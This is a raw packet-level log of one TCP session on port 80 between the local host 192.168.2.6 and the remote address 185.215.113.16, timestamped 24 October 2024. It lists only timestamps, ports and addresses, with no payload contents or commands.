Oct 24, 2024 18:08:22.860476017 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.860486031 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860498905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860507965 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.860560894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.860656023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860672951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860690117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860713005 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.860743999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860759974 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.860850096 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.860924006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.861074924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.861166954 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.861182928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.861200094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.861226082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.861241102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.861247063 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.861257076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.861278057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.861284971 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.861295938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.861311913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.861319065 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.861327887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.861342907 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.861397028 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.896332979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896501064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896514893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896560907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896576881 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896584988 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.896594048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896608114 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.896636009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896658897 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.896661997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896677971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896696091 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896708965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896729946 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.896737099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896753073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896770000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896775961 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.896785975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896800995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896809101 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.896816969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896847010 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.896874905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896958113 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896970987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.896980047 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.897281885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897298098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897300005 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.897382021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897397041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897406101 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.897413015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897439957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897440910 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.897455931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897470951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897480965 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.897486925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897511959 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.897630930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897644997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897660971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897666931 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.897675991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897691965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897699118 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.897716999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897732019 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897737026 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.897744894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897758961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897773027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897779942 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.897788048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897804022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897811890 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.897819996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897828102 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.897835016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897850037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897855997 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.897866964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897886038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897891998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.897938967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897953033 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897969961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897984982 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.897991896 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.898340940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898355961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898376942 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898400068 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.898400068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898416996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898432970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898454905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.898504019 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.898603916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898627043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898643970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898658037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898673058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898679972 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.898686886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898701906 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.898711920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898727894 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898734093 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.898744106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898758888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898765087 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.898773909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898789883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898799896 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.898804903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898823023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898834944 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.898838043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898857117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898864985 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.898871899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.898893118 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.900813103 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.932732105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.932769060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.932784081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.932801008 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.932811975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.932827950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.932849884 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.932928085 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.933029890 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933140039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933166981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933182001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933275938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933291912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933295965 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.933310032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933329105 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.933360100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933404922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933419943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933432102 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.933475971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933490038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933495998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.933815002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933836937 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.933860064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933876038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933929920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933943987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933952093 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.933959961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.933979034 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.933988094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.934003115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.934009075 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.934020042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.934039116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.934052944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.934060097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.934082985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.934097052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.934103966 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.934113026 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.934134007 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.934143066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.934159040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.934175014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.934178114 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.934190989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.934209108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.934215069 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.934266090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.934284925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.934287071 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.934792042 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.978995085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979034901 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979063034 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979063034 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.979079008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979094982 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979110003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979118109 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.979130030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979151011 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.979156017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979173899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979199886 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.979202986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979218960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979226112 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.979233980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979250908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979258060 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.979327917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979353905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.979357004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979372978 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979499102 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.979533911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979548931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979568005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979588985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979592085 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.979669094 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.979687929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979783058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979798079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979806900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.979815960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979839087 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.979875088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979943037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979968071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979984045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.979990005 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.980000019 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980022907 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.980036974 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.980058908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980073929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980088949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980108023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980113029 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.980123043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980145931 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.980169058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980185032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980201006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980216980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980240107 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.980465889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980515957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980530024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980593920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980598927 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.980600119 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.980607986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980623960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980639935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980664968 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.980680943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980696917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980715036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980720043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.980730057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.980741024 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.981225014 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:22.981278896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.981726885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:22.981872082 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.015856028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.015888929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.015904903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.015922070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.015942097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.016031981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016053915 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.016103029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016123056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016166925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.016192913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016210079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016228914 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.016258001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016273022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016299963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016315937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016323090 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.016333103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016338110 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.016350031 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016374111 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.016400099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016417980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016442060 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.016446114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016463041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016483068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016484022 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.016530037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016534090 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.016545057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016562939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016587973 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.016674995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016691923 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016710997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016726017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016731977 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.016743898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016748905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.016788006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016804934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016808033 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.016822100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016855001 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.016896963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016915083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.016976118 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.017023087 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.017071962 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.017087936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.017098904 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.017163038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.017178059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.017184973 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.017194033 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.017210007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.017216921 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.017225981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.017312050 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.017354012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.017405033 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.017422915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.017445087 CEST	49744	80	192.168.2.6	185.215.113.16
